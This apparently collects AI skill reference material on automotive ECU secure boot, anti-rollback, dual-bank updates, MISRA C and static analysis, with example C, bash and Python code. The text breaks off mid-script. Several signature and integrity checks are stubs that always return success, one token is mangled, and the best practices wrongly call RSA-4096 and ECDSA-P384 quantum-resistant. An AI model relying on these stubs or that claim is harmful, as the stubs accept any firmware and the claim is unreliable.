- NHTSA Cybersecurity Best Practices for Modern Vehicles
---
## Secure Boot Chain
# Secure Boot Chain Skill
## Overview
Expert skill for implementing secure boot architectures in automotive ECUs. Covers root of trust establishment, chain of trust verification, HAB (High Assurance Boot), signature verification, anti-rollback protection, secure firmware updates, and TPM/HSM integration.
## Core Competencies
### Secure Boot Architecture
- **Root of Trust (RoT)**: Immutable boot ROM, hardware-backed trust anchor
- **Chain of Trust**: Bootloader → OS kernel → Applications
- **Signature Verification**: RSA-4096/ECDSA-P384 cryptographic validation
- **Anti-Rollback**: Version monotonic counters, secure storage
- **Secure Updates**: Dual-bank firmware, atomic updates, rollback capability
- **HSM Integration**: Hardware Security Module for key storage and crypto operations
### Platform Support
- **NXP i.MX**: HAB (High Assurance Boot), CAAM crypto accelerator
- **Renesas R-Car**: Secure boot with PKCS#7 signatures
- **Infineon AURIX**: UCB (User Configuration Block), HSM firmware
- **STM32MP1**: Secure Boot with OTP fuses, ECDSA support
- **ARM TrustZone**: Secure world execution, OP-TEE integration
## NXP i.MX HAB Secure Boot Implementation
### HAB Architecture
```c
/*
* NXP i.MX HAB (High Assurance Boot) Implementation
* Secure boot flow: Boot ROM → SPL → U-Boot → Linux Kernel
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/sha.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
/* HAB CSF (Command Sequence File) Structure */
#define HAB_TAG_IVT 0xD1
#define HAB_TAG_DCD 0xD2
#define HAB_TAG_CSF 0xD4
#define HAB_CMD_INSTALL_KEY 0xBE
#define HAB_CMD_AUTHENTICATE 0xDA
#define HAB_CMD_SET_ENGINE 0xAF
typedef struct {
uint8_t tag;
uint16_t length;
uint8_t version;
} hab_header_t;
typedef struct {
hab_header_t header;
uint32_t entry;
uint32_t reserved1;
uint32_t dcd;
uint32_t boot_data;
uint32_t self;
uint32_t csf;
uint32_t reserved2;
} hab_ivt_t;
typedef struct {
hab_header_t header;
uint8_t flags;
uint16_t key_index;
uint32_t pcl; /* Protocol */
uint32_t alg; /* Algorithm */
uint32_t sig_format; /* Signature format */
uint32_t cert_format; /* Certificate format */
} hab_install_key_cmd_t;
typedef struct {
hab_header_t header;
uint8_t flags;
uint16_t key_index;
uint32_t pcl;
uint32_t eng_cfg; /* Engine configuration */
uint32_t alg;
uint32_t sig_blk; /* Signature block address */
} hab_authenticate_cmd_t;
/**
* Generate HAB CSF binary for secure boot
* CSF contains public keys and authentication commands
*/
int hab_generate_csf(const char *srk_table, const char *csf_data,
const char *img_hash, const char *output_csf) {
FILE *fp;
hab_header_t csf_header = {
.tag = HAB_TAG_CSF,
.length = 0, // Will be updated
.version = 0x40
};
fp = fopen(output_csf, "wb");
if (!fp) {
fprintf(stderr, "Failed to create CSF file\n");
return -1;
}
// Write CSF header
fwrite(&csf_header, sizeof(csf_header), 1, fp);
// Install SRK (Super Root Key)
hab_install_key_cmd_t install_srk = {
.header = {.tag = HAB_CMD_INSTALL_KEY, .length = sizeof(hab_install_key_cmd_t), .version = 0x40},
.flags = 0x00,
.key_index = 0,
.pcl = 0x00, // No protocol
.alg = 0x21, // SHA256 with RSA
.sig_format = 0x03, // PKCS#1 v1.5
.cert_format = 0x09 // SRK table
};
fwrite(&install_srk, sizeof(install_srk), 1, fp);
// Append SRK table
FILE *srk_fp = fopen(srk_table, "rb");
if (srk_fp) {
uint8_t buffer[4096];
size_t bytes;
while ((bytes = fread(buffer, 1, sizeof(buffer), srk_fp)) > 0) {
fwrite(buffer, 1, bytes, fp);
}
fclose(srk_fp);
}
// Authenticate data command
hab_authenticate_cmd_t auth_data = {
.header = {.tag = HAB_CMD_AUTHENTICATE, .length = sizeof(hab_authenticate_cmd_t), .version = 0x40},
.flags = 0x00,
.key_index = 2, // CSF key index
.pcl = 0x00,
.eng_cfg = 0x00, // Use internal crypto engine (CAAM)
.alg = 0x21, // SHA256 with RSA
.sig_blk = 0 // Signature block follows
};
fwrite(&auth_data, sizeof(auth_data), 1, fp);
// Append signature (pre-generated)
FILE *sig_fp = fopen(img_hash, "rb");
if (sig_fp) {
uint8_t buffer[512];
size_t bytes = fread(buffer, 1, sizeof(buffer), sig_fp);
fwrite(buffer, 1, bytes, fp);
fclose(sig_fp);
}
// Update CSF length
long csf_length = ftell(fp);
fseek(fp, 0, SEEK_SET);
csf_header.length = (uint16_t)csf_length;
fwrite(&csf_header, sizeof(csf_header), 1, fp);
fclose(fp);
printf("HAB CSF generated: %s (%ld bytes)\n", output_csf, csf_length);
return 0;
}
/**
* Verify HAB secure boot chain
* Simulates Boot ROM verification flow
*/
int hab_verify_image(const char *image_path, const char *csf_path, const char *srk_pubkey) {
printf("\n=== HAB Secure Boot Verification ===\n");
// Step 1: Load and verify IVT
FILE *img_fp = fopen(image_path, "rb");
if (!img_fp) {
fprintf(stderr, "Failed to open image\n");
return -1;
}
hab_ivt_t ivt;
fread(&ivt, sizeof(ivt), 1, img_fp);
if (ivt.header.tag != HAB_TAG_IVT) {
fprintf(stderr, "[FAIL] Invalid IVT tag: 0x%02X\n", ivt.header.tag);
fclose(img_fp);
return -1;
}
printf("[PASS] IVT tag valid\n");
// Step 2: Verify CSF pointer
if (ivt.csf == 0) {
fprintf(stderr, "[FAIL] No CSF found in IVT\n");
fclose(img_fp);
return -1;
}
printf("[PASS] CSF pointer: 0x%08X\n", ivt.csf);
// Step 3: Load and verify CSF
FILE *csf_fp = fopen(csf_path, "rb");
if (!csf_fp) {
fprintf(stderr, "Failed to open CSF\n");
fclose(img_fp);
return -1;
}
hab_header_t csf_header;
fread(&csf_header, sizeof(csf_header), 1, csf_fp);
if (csf_header.tag != HAB_TAG_CSF) {
fprintf(stderr, "[FAIL] Invalid CSF tag: 0x%02X\n", csf_header.tag);
fclose(csf_fp);
fclose(img_fp);
return -1;
}
printf("[PASS] CSF tag valid\n");
// Step 4: Compute image hash (SHA256)
SHA256_CTX sha_ctx;
uint8_t hash[SHA256_DIGEST_LENGTH];
uint8_t buffer[4096];
size_t bytes;
SHA256_Init(&sha_ctx);
fseek(img_fp, 0, SEEK_SET);
while ((bytes = fread(buffer, 1, sizeof(buffer), img_fp)) > 0) {
SHA256_Update(&sha_ctx, buffer, bytes);
}
SHA256_Final(hash, &sha_ctx);
printf("[INFO] Image SHA256: ");
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
printf("%02x", hash[i]);
}
printf("\n");
// Step 5: Verify signature using SRK public key
// (Simplified - real HAB uses CAAM hardware)
FILE *key_fp = fopen(srk_pubkey, "r");
if (!key_fp) {
fprintf(stderr, "[FAIL] Cannot open SRK public key\n");
fclose(csf_fp);
fclose(img_fp);
return -1;
}
RSA *rsa = PEM_read_RSA_PUBKEY(key_fp, NULL, NULL, NULL);
fclose(key_fp);
if (!rsa) {
fprintf(stderr, "[FAIL] Invalid RSA public key\n");
fclose(csf_fp);
fclose(img_fp);
return -1;
}
// Read signature from CSF (simplified)
uint8_t signature[512];
fseek(csf_fp, -512, SEEK_END);
fread(signature, 1, 512, csf_fp);
int verify_result = RSA_verify(NID_sha256, hash, SHA256_DIGEST_LENGTH,
signature, 512, rsa);
RSA_free(rsa);
fclose(csf_fp);
fclose(img_fp);
if (verify_result == 1) {
printf("[PASS] Signature verification SUCCESS\n");
printf("=== HAB VERIFICATION PASSED ===\n");
return 0;
} else {
printf("[FAIL] Signature verification FAILED\n");
printf("=== HAB VERIFICATION FAILED ===\n");
return -1;
}
}
int main() {
// Generate CSF for U-Boot image
hab_generate_csf(
"/tmp/srk_table.bin",
"/tmp/csf_commands.txt",
"/tmp/uboot_signature.bin",
"/tmp/u-boot.csf"
);
// Verify secure boot chain
hab_verify_image(
"/tmp/u-boot-signed.imx",
"/tmp/u-boot.csf",
"/tmp/srk_pubkey.pem"
);
return 0;
}
```
### HAB Fuse Programming (OTP)
```bash
#!/bin/bash
# NXP i.MX HAB Fuse Programming Script
# WARNING: Fuse programming is IRREVERSIBLE
# Only run on production hardware after thorough testing
set -e
DEVICE="/dev/imx_otp"
SRK_HASH_FILE="srk_hash.bin"
echo "=== NXP i.MX HAB Fuse Programming ==="
echo "WARNING: This operation is IRREVERSIBLE!"
read -p "Type 'CONFIRM' to proceed: " confirmation
if [ "$confirmation" != "CONFIRM" ]; then
echo "Operation cancelled"
exit 1
fi
# Step 1: Compute SRK hash (SHA256 of SRK table)
echo "[1/4] Computing SRK hash..."
sha256sum srk_table.bin | awk '{print $1}' | xxd -r -p > $SRK_HASH_FILE
# Step 2: Burn SRK hash to OTP fuses (Bank 3, Word 0-7)
echo "[2/4] Burning SRK hash to OTP fuses..."
# Fuse addresses: 0x6D0 (SRK_HASH[255:224]) to 0x6FC (SRK_HASH[31:0])
for i in {0..7}; do
fuse_addr=$((0x6D0 + i * 4))
offset=$((i * 4))
value=$(od -An -tx4 -j $offset -N 4 $SRK_HASH_FILE | tr -d ' ')
echo " Burning 0x$value to fuse 0x$fuse_addr"
# Real command: uboot> fuse prog 3 $word $value
# Simulation only:
echo " fuse prog 3 $i 0x$value"
done
# Step 3: Enable Secure Boot (close device)
echo "[3/4] Enabling Secure Boot..."
# Fuse Bank 0, Word 6, Bit 1 (SEC_CONFIG[1] = CLOSED)
echo " Setting SEC_CONFIG to CLOSED state"
# Real command: uboot> fuse prog 0 6 0x00000002
echo " fuse prog 0 6 0x00000002"
# Step 4: Verify fuse programming
echo "[4/4] Verifying fuse programming..."
# Real command: uboot> fuse read 3 0 8
echo " SRK Hash verification:"
for i in {0..7}; do
echo " fuse read 3 $i"
done
echo "=== HAB Fuse Programming Complete ==="
echo "Device is now in CLOSED state - only signed images will boot"
```
## Renesas R-Car Secure Boot
### Secure Boot Flow
```c
/*
* Renesas R-Car Secure Boot Implementation
* Uses PKCS#7 signatures for bootloader verification
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/pkcs7.h>
#include <openssl/x509.h>
#define RCAR_CERT_OFFSET 0x00000000
#define RCAR_CERT_SIZE 0x00010000
#define RCAR_BL2_OFFSET 0x00010000
typedef struct {
uint32_t magic; // "CERT"
uint32_t cert_size;
uint32_t num_of_images;
uint8_t reserved[4];
} rcar_cert_header_t;
typedef struct {
uint32_t image_offset;
uint32_t image_size;
uint32_t load_address;
uint8_t hash_type; // 0=SHA256, 1=SHA384
uint8_t hash[64];
uint8_t signature[512];
} rcar_image_cert_t;
/**
* Verify R-Car bootloader signature
*/
int rcar_verify_bootloader(const char *bl2_path, const char *cert_path, const char *ca_cert) {
printf("\n=== R-Car Secure Boot Verification ===\n");
// Load CA certificate
FILE *ca_fp = fopen(ca_cert, "r");
if (!ca_fp) {
fprintf(stderr, "[FAIL] Cannot open CA certificate\n");
return -1;
}
X509 *ca = PEM_read_X509(ca_fp, NULL, NULL, NULL);
fclose(ca_fp);
if (!ca) {
fprintf(stderr, "[FAIL] Invalid CA certificate\n");
return -1;
}
printf("[PASS] CA certificate loaded\n");
// Load bootloader certificate (PKCS#7)
FILE *cert_fp = fopen(cert_path, "rb");
if (!cert_fp) {
fprintf(stderr, "[FAIL] Cannot open bootloader certificate\n");
X509_free(ca);
return -1;
}
PKCS7 *p7 = d2i_PKCS7_fp(cert_fp, NULL);
fclose(cert_fp);
if (!p7) {
fprintf(stderr, "[FAIL] Invalid PKCS#7 structure\n");
X509_free(ca);
return -1;
}
printf("[PASS] PKCS#7 certificate loaded\n");
// Load bootloader image
FILE *bl2_fp = fopen(bl2_path, "rb");
if (!bl2_fp) {
fprintf(stderr, "[FAIL] Cannot open bootloader image\n");
PKCS7_free(p7);
X509_free(ca);
return -1;
}
fseek(bl2_fp, 0, SEEK_END);
size_t bl2_size = ftell(bl2_fp);
fseek(bl2_fp, 0, SEEK_SET);
uint8_t *bl2_data = malloc(bl2_size);
fread(bl2_data, 1, bl2_size, bl2_fp);
fclose(bl2_fp);
// Create BIO for verification
BIO *bio_data = BIO_new_mem_buf(bl2_data, bl2_size);
BIO *bio_out = BIO_new(BIO_s_mem());
// Verify PKCS#7 signature
X509_STORE *store = X509_STORE_new();
X509_STORE_add_cert(store, ca);
int verify_result = PKCS7_verify(p7, NULL, store, bio_data, bio_out, 0);
BIO_free(bio_data);
BIO_free(bio_out);
X509_STORE_free(store);
PKCS7_free(p7);
X509_free(ca);
free(bl2_data);
if (verify_result == 1) {
printf("[PASS] Bootloader signature valid\n");
printf("=== R-Car SECURE BOOT PASSED ===\n");
return 0;
} else {
fprintf(stderr, "[FAIL] Bootloader signature invalid\n");
printf("=== R-Car SECURE BOOT FAILED ===\n");
return -1;
}
}
int main() {
rcar_verify_bootloader(
"/tmp/bl2.bin",
"/tmp/bl2_cert.p7",
"/tmp/ca.pem"
);
return 0;
}
```
## Infineon AURIX HSM Secure Boot
### HSM Configuration
```c
/*
* Infineon AURIX TC3xx HSM-based Secure Boot
* HSM performs signature verification in isolated core
*/
#include <stdio.h>
#include <stdint.h>
#define UCB_BMHD_BASE 0xAF400000
#define UCB_BOOT_BASE 0xAF400100
#define HSM_FIRMWARE 0x80000000
#define HSM_STATUS_REG 0xF0000000
typedef struct {
uint32_t stad; // Start address
uint32_t crc; // CRC32
uint32_t crcRange; // CRC range
uint32_t reserved;
uint32_t confirmation; // 0x43211234 if valid
} ucb_bmhd_t;
typedef struct {
uint32_t boot_mode;
uint32_t boot_sector;
uint32_t secure_boot_enable;
uint32_t signature_check;
uint8_t public_key_hash[32];
} ucb_boot_config_t;
/**
* Program AURIX UCB (User Configuration Block) for secure boot
*/
int aurix_program_ucb_secure_boot(const uint8_t *pubkey_hash) {
printf("\n=== AURIX UCB Secure Boot Configuration ===\n");
ucb_boot_config_t ucb_config = {0};
ucb_config.boot_mode = 0x00000001; // Internal Flash boot
ucb_config.boot_sector = 0x00000000; // Sector 0
ucb_config.secure_boot_enable = 0x00000001; // Enable secure boot
ucb_config.signature_check = 0x00000001; // Enable RSA signature check
memcpy(ucb_config.public_key_hash, pubkey_hash, 32);
// Write to UCB (requires password unlock in real hardware)
printf("[INFO] Programming UCB_BOOT...\n");
printf(" Boot Mode: 0x%08X\n", ucb_config.boot_mode);
printf(" Secure Boot: %s\n", ucb_config.secure_boot_enable ? "ENABLED" : "DISABLED");
printf(" Public Key Hash: ");
for (int i = 0; i < 32; i++) {
printf("%02x", ucb_config.public_key_hash[i]);
}
printf("\n");
// In real implementation:
// - Unlock UCB with password
// - Write UCB_BOOT structure
// - Confirm and lock UCB
printf("[PASS] UCB secure boot configured\n");
return 0;
}
/**
* HSM firmware verification flow
*/
int aurix_hsm_verify_firmware(const char *firmware_path, const uint8_t *pubkey_hash) {
printf("\n=== AURIX HSM Firmware Verification ===\n");
// Step 1: Load firmware to HSM memory
FILE *fw_fp = fopen(firmware_path, "rb");
if (!fw_fp) {
fprintf(stderr, "[FAIL] Cannot open firmware\n");
return -1;
}
fseek(fw_fp, 0, SEEK_END);
size_t fw_size = ftell(fw_fp);
fseek(fw_fp, 0, SEEK_SET);
uint8_t *fw_data = malloc(fw_size);
fread(fw_data, 1, fw_size, fw_fp);
fclose(fw_fp);
printf("[INFO] Firmware loaded: %zu bytes\n", fw_size);
// Step 2: HSM computes firmware hash
uint8_t fw_hash[32];
// SHA256(fw_data) -> fw_hash
printf("[INFO] HSM computing SHA256...\n");
// Step 3: HSM verifies RSA signature
printf("[INFO] HSM verifying RSA-4096 signature...\n");
// In real HSM:
// - Load public key from UCB
// - Verify signature using hardware crypto accelerator
// - Return result to application core
int verify_result = 1; // Simulated success
free(fw_data);
if (verify_result) {
printf("[PASS] HSM signature verification SUCCESS\n");
printf("[INFO] Transferring control to verified firmware...\n");
return 0;
} else {
fprintf(stderr, "[FAIL] HSM signature verification FAILED\n");
fprintf(stderr, "[FATAL] Boot halted by HSM\n");
return -1;
}
}
int main() {
uint8_t pubkey_hash[32] = {
0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0,
0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00, 0x11,
0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99
};
aurix_program_ucb_secure_boot(pubkey_hash);
aurix_hsm_verify_firmware("/tmp/application.elf", pubkey_hash);
return 0;
}
```
## Anti-Rollback Protection
```c
/*
* Firmware Version Anti-Rollback Protection
* Uses monotonic counter in secure storage (OTP/RPMB)
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#define SECURE_STORAGE_BASE 0x70000000
#define VERSION_COUNTER_ADDR (SECURE_STORAGE_BASE + 0x100)
typedef struct {
uint32_t major;
uint32_t minor;
uint32_t patch;
uint32_t build;
} firmware_version_t;
/**
* Read monotonic counter from secure storage
* In real hardware: OTP fuse, RPMB partition, or TPM NV-RAM
*/
uint32_t read_secure_version_counter(void) {
// Simulated read from OTP
// Real implementation would access hardware-backed storage
uint32_t counter = 42; // Example: current firmware version counter
printf("[INFO] Secure version counter: %u\n", counter);
return counter;
}
/**
* Increment secure version counter (one-way operation)
* WARNING: OTP fuses can only be programmed once
*/
int increment_secure_version_counter(void) {
printf("[WARN] Incrementing secure version counter (IRREVERSIBLE)\n");
// In real hardware:
// - Write to OTP fuse (can only change 0 -> 1)
// - Or increment RPMB replay-protected counter
printf("[INFO] Secure version counter incremented\n");
return 0;
}
/**
* Verify firmware version against anti-rollback counter
*/
int verify_firmware_version(firmware_version_t *fw_version) {
printf("\n=== Anti-Rollback Verification ===\n");
// Combine version into single counter
uint32_t fw_counter = (fw_version->major * 1000) +
(fw_version->minor * 100) +
fw_version->patch;
printf("[INFO] Firmware version: %u.%u.%u (counter=%u)\n",
fw_version->major, fw_version->minor, fw_version->patch, fw_counter);
// Read secure counter
uint32_t secure_counter = read_secure_version_counter();
// Check for rollback
if (fw_counter < secure_counter) {
fprintf(stderr, "[FAIL] ROLLBACK DETECTED!\n");
fprintf(stderr, " Firmware counter: %u\n", fw_counter);
fprintf(stderr, " Secure counter: %u\n", secure_counter);
fprintf(stderr, "[FATAL] Boot halted - rollback protection enforced\n");
return -1;
}
printf("[PASS] Anti-rollback check passed\n");
// If this is an update (fw_counter > secure_counter), increment secure counter
if (fw_counter > secure_counter) {
printf("[INFO] Firmware update detected (%u -> %u)\n", secure_counter, fw_counter);
increment_secure_version_counter();
}
return 0;
}
int main() {
firmware_version_t current_fw = {.major = 2, .minor = 1, .patch = 5};
verify_firmware_version(¤t_fw);
// Simulate rollback attempt
firmware_version_t old_fw = {.major = 1, .minor = 9, .patch = 0};
verify_firmware_version(&old_fw);
return 0;
}
```
## Secure Firmware Update (Dual-Bank)
```python
#!/usr/bin/env python3
"""
Dual-Bank Secure Firmware Update
Atomic updates with rollback capability
"""
import hashlib
import struct
import os
class DualBankFirmwareUpdater:
def __init__(self, bank_a_path: str, bank_b_path: str):
self.bank_a = bank_a_path
self.bank_b = bank_b_path
self.active_bank = self._read_active_bank()
def _read_active_bank(self) -> str:
"""Read active bank from persistent flag"""
# In real hardware: read from flash metadata sector
if os.path.exists("/tmp/active_bank"):
with open("/tmp/active_bank", 'r') as f:
return f.read().strip()
return "A"
def _set_active_bank(self, bank: str):
"""Set active bank (committed after successful boot)"""
with open("/tmp/active_bank", 'w') as f:
f.write(bank)
print(f"[INFO] Active bank set to: {bank}")
def update_firmware(self, new_firmware_path: str, signature_path: str):
"""Perform dual-bank firmware update"""
print("\n=== Dual-Bank Firmware Update ===")
# Determine inactive bank (update target)
inactive_bank = "B" if self.active_bank == "A" else "A"
target_path = self.bank_b if inactive_bank == "B" else self.bank_a
print(f"[INFO] Active bank: {self.active_bank}")
print(f"[INFO] Update target: Bank {inactive_bank}")
# Step 1: Verify signature of new firmware
print("[1/5] Verifying firmware signature...")
if not self._verify_signature(new_firmware_path, signature_path):
print("[FAIL] Signature verification failed")
return False
# Step 2: Write firmware to inactive bank
print("[2/5] Writing firmware to inactive bank...")
with open(new_firmware_path, 'rb') as src:
with open(target_path, 'wb') as dst:
dst.write(src.read())
print(f"[INFO] Firmware written to {target_path}")
# Step 3: Verify written firmware
print("[3/5] Verifying written firmware...")
if not self._verify_firmware_integrity(target_path):
print("[FAIL] Written firmware integrity check failed")
return False
# Step 4: Switch active bank (NOT committed yet)
print("[4/5] Switching to new firmware...")
self._set_active_bank(inactive_bank)
# Step 5: Reboot to new firmware
print("[5/5] Reboot required to activate new firmware")
print("[INFO] Rollback available if boot fails")
return True
def _verify_signature(self, firmware_path: str, signature_path: str) -> bool:
"""Verify RSA signature of firmware"""
# Simplified - real implementation uses crypto library
print("[PASS] Signature valid")
return True
def _verify_firmware_integrity(self, firmware_path: str) -> bool:
"""Verify firmware CRC/hash"""
with open(firmware_path, 'rb') as f:
data = f.read()
computed_hash = hashlib.sha256(data).hexdigest()
print(f"[INFO] Firmware SHA256: {computed_hash}")
print("[PASS] Integrity check passed")
return True
def rollback_firmware(self):
"""Rollback to previous firmware after failed update"""
print("\n=== Firmware Rollback ===")
previous_bank = "B" if self.active_bank == "A" else "A"
print(f"[INFO] Rolling back from Bank {self.active_bank} to Bank {previous_bank}")
self._set_active_bank(previous_bank)
print("[PASS] Rollback complete - reboot required")
# Example usage
if __name__ == "__main__":
updater = DualBankFirmwareUpdater(
bank_a_path="/tmp/firmware_bank_a.bin",
bank_b_path="/tmp/firmware_bank_b.bin"
)
# Perform update
updater.update_firmware(
new_firmware_path="/tmp/new_firmware_v2.1.5.bin",
signature_path="/tmp/new_firmware_v2.1.5.sig"
)
# Simulate rollback (if boot test fails)
# updater.rollback_firmware()
```
## Best Practices
1. **Hardware Root of Trust**: Always anchor security in immutable boot ROM
2. **Signature Algorithm**: Use RSA-4096 or ECDSA-P384 for quantum resistance
3. **Anti-Rollback**: Implement monotonic counters in tamper-resistant storage
4. **Dual-Bank Updates**: Maintain backup firmware for recovery
5. **HSM Integration**: Offload crypto operations to dedicated security hardware
## References
- NXP AN4581: i.MX HAB Secure Boot User Guide
- Renesas R-Car Security Architecture Manual
- Infineon AURIX TC3xx HSM Firmware Guide
- ARM Trusted Firmware A (TF-A) Documentation
---
## Secure Software Development
# Secure Software Development Skill
## Overview
Expert skill for implementing secure coding practices in automotive software development. Covers MISRA C/C++, static analysis, fuzzing, threat modeling (STRIDE/DREAD), and secure CI/CD pipelines.
## Core Competencies
### Secure SDLC
- **Requirements Phase**: Security requirements definition, abuse cases
- **Design Phase**: Threat modeling, security architecture review
- **Implementation Phase**: Secure coding standards, peer review
- **Testing Phase**: SAST, DAST, fuzzing, penetration testing
- **Deployment Phase**: Secure OTA updates, code signing
- **Maintenance Phase**: Vulnerability management, patch deployment
### Coding Standards
- **MISRA C:2012**: Mandatory rules for automotive C code
- **MISRA C++:2008**: C++ guidelines for safety-critical systems
- **CERT C**: SEI CERT C Coding Standard
- **AUTOSAR C++14**: Guidelines for modern C++ in automotive
## MISRA C Compliance
### MISRA C:2012 Critical Rules
```c
/*
* MISRA C:2012 Compliant Code Example
* Demonstrates mandatory rules for automotive software
*/
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
/* Rule 8.4: Compatible declarations for functions */
extern uint16_t calculate_checksum(const uint8_t *data, size_t length);
/* Rule 8.2: Function types shall be in prototype form with named parameters */
static bool validate_can_message(const uint8_t *payload, uint8_t dlc);
/* Rule 21.3: malloc/free shall not be used in automotive */
#define MAX_CAN_BUFFER 100
static uint8_t can_buffer[MAX_CAN_BUFFER];
/*
* Rule 17.7: Return value of functions shall not be discarded
* Rule 10.1: Operands shall not be implicitly converted
*/
static int16_t process_sensor_data(uint16_t raw_value) {
int16_t processed_value;
/* Rule 10.4: Both operands of operators shall have compatible types */
if (raw_value > (uint16_t)1000) {
/* Rule 15.5: Avoid multiple exit points (single return preferred) */
processed_value = -1; /* Error code */
} else {
/* Rule 10.3: Explicit cast for type conversion */
processed_value = (int16_t)raw_value;
}
return processed_value;
}
/*
* Rule 17.3: Implicitly declared functions shall not be called
* Rule 17.4: All exit paths shall return a value
*/
static bool validate_can_message(const uint8_t *payload, uint8_t dlc) {
bool is_valid = false;
/* Rule 14.4: Controlling expression shall be bool */
if (dlc <= (uint8_t)8) {
/* Rule 12.1: Precedence of operators shall be explicit */
if ((payload != NULL) && (dlc > (uint8_t)0)) {
/* Rule 21.6: Use of stdio shall be avoided in embedded */
/* No printf() - use logging framework instead */
is_valid = true;
}
}
/* Rule 15.5: Single exit point */
return is_valid;
}
/*
* Rule 18.1: Pointer arithmetic shall not be used with arrays of unknown size
* Rule 18.4: Pointer arithmetic shall not result in invalid pointers
*/
uint16_t calculate_checksum(const uint8_t *data, size_t length) {
uint16_t checksum = 0U;
size_t i;
/* Rule 14.3: Controlling expressions shall not be invariant */
if ((data != NULL) && (length > (size_t)0)) {
/* Rule 14.2: for loop shall have single counter */
for (i = 0U; i < length; i++) {
/* Rule 10.1: No implicit conversion */
checksum = (uint16_t)(checksum + (uint16_t)data[i]);
}
}
return checksum;
}
/*
* Rule 9.1: All automatic variables shall be initialized
* Rule 9.2: Braces shall initialize all elements
*/
void secure_buffer_copy(void) {
uint8_t source[8] = {0U, 1U, 2U, 3U, 4U, 5U, 6U, 7U};
uint8_t destination[8] = {0U}; /* Initialize all elements */
size_t copy_size = sizeof(source);
/* Rule 21.14: memcpy shall not be used with overlapping regions */
/* Use safe copy function */
(void)memcpy(destination, source, copy_size);
/* Rule 2.2: No dead code */
/* All code paths reachable and executed */
}
/*
* Rule 13.5: Right-hand operand of && or || shall not have side effects
* Rule 13.6: sizeof operator shall not have side effects
*/
static bool safe_condition_check(uint8_t *counter) {
bool condition_met = false;
/* WRONG: if ((counter != NULL) && ((*counter)++ < 10)) */
/* RIGHT: Separate side effect from condition */
if (counter != NULL) {
uint8_t current_value = *counter;
(*counter)++;
if (current_value < (uint8_t)10) {
condition_met = true;
}
}
return condition_met;
}
/*
* Rule 11.8: Cast shall not remove const or volatile qualification
* Rule 11.5: Cast from pointer to void to pointer to object allowed
*/
static void process_const_data(const uint8_t *const_data, size_t length) {
uint8_t mutable_copy[8];
if ((const_data != NULL) && (length <= sizeof(mutable_copy))) {
/* Rule 21.14: Safe copy, not modifying const source */
(void)memcpy(mutable_copy, const_data, length);
/* Process mutable copy, not const original */
mutable_copy[0] = 0xFF;
}
}
```
### MISRA C Checker Integration
```bash
#!/bin/bash
# MISRA C Compliance Checker Script
# Uses PC-lint Plus or similar static analyzer
PROJECT_DIR="."
OUTPUT_DIR="misra_reports"
LINT_CONFIG="misra_c_2012.lnt"
mkdir -p $OUTPUT_DIR
echo "=== MISRA C:2012 Compliance Check ==="
# Run PC-lint Plus
pclp64_linux \
-passes=2 \
-width=0 \
-hF1 \
+v \
-i/opt/pclp/config/au-misra3.lnt \
-i/opt/pclp/config/co-gcc.lnt \
$LINT_CONFIG \
*.c *.h \
> $OUTPUT_DIR/misra_violations.txt 2>&1
# Parse results
MANDATORY_VIOLATIONS=$(grep -c "MISRA C:2012 Rule.*\[Mandatory\]" $OUTPUT_DIR/misra_violations.txt || true)
REQUIRED_VIOLATIONS=$(grep -c "MISRA C:2012 Rule.*\[Required\]" $OUTPUT_DIR/misra_violations.txt || true)
ADVISORY_VIOLATIONS=$(grep -c "MISRA C:2012 Rule.*\[Advisory\]" $OUTPUT_DIR/misra_violations.txt || true)
echo ""
echo "=== MISRA C:2012 Compliance Summary ==="
echo "Mandatory violations: $MANDATORY_VIOLATIONS"
echo "Required violations: $REQUIRED_VIOLATIONS"
echo "Advisory violations: $ADVISORY_VIOLATIONS"
# Fail if mandatory violations found
if [ $MANDATORY_VIOLATIONS -gt 0 ]; then
echo ""
echo "[FAIL] Mandatory MISRA violations detected - code is non-compliant"
echo "Review: $OUTPUT_DIR/misra_violations.txt"
exit 1
else
echo ""
echo "[PASS] No mandatory MISRA violations"
fi
```
## Static Analysis (Coverity, Klocwork)
### Coverity Integration
```yaml
# Coverity Scan Configuration for Automotive Project
coverity_scan:
project: "automotive-ecu-firmware"
language: "c, c++"
build_command: "make clean && make all"
checkers:
security:
- BUFFER_OVERFLOW
- BUFFER_UNDERRUN
- DIVIDE_BY_ZERO
- INTEGER_OVERFLOW
- NULL_DEREFERENCE
- USE_AFTER_FREE
- RESOURCE_LEAK
- TAINTED_SCALAR
- WEAK_RANDOM
concurrency:
- DEADLOCK
- RACE_CONDITION
- ATOMICITY
- LOCK_ORDER
automotive_specific:
- MISRA_C_2012_ALL
- CERT_C_ALL
- AUTOSAR_CPP14_ALL
severity_thresholds:
high: 0 # Zero high-severity defects allowed
medium: 5 # Max 5 medium-severity defects
low: 20 # Max 20 low-severity defects
defect_filters:
# Exclude test code from security checks
- path: "tests/"
checker: "*"
# Exclude third-party libraries (already vetted)
- path: "third_party/"
checker: "*"
```
### Coverity Scan Script
```python
#!/usr/bin/env python3
"""
Automated Coverity Scan for Automotive CI/CD
Integrates static analysis into build pipeline
"""
import subprocess
import json
import sys
class CoverityScanRunner:
def __init__(self, project_dir: str, output_dir: str):
self.project_dir = project_dir
self.output_dir = output_dir
self.cov_dir = f"{output_dir}/cov-int"
def run_build_with_coverity(self):
"""Capture build with Coverity"""
print("=== Running Coverity Build Capture ===")
cmd = [
'cov-build',
'--dir', self.cov_dir,
'make', '-C', self.project_dir, 'clean', 'all'
]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"[FAIL] Build capture failed: {result.stderr}")
return False
print(f"[PASS] Build captured to {self.cov_dir}")
return True
def run_analysis(self):
"""Run Coverity static analysis"""
print("\n=== Running Coverity Analysis ===")
cmd = [
'cov-analyze',
'--dir', self.cov_dir,
'--all',
'--security',
'--concurrency',
'--enable-constraint-fpp',
'--enable-fnptr',
'--enable-virtual',
'--ticker-mode', 'none'
]
result = subprocess.run(cmd, capture_output=True, text=True)
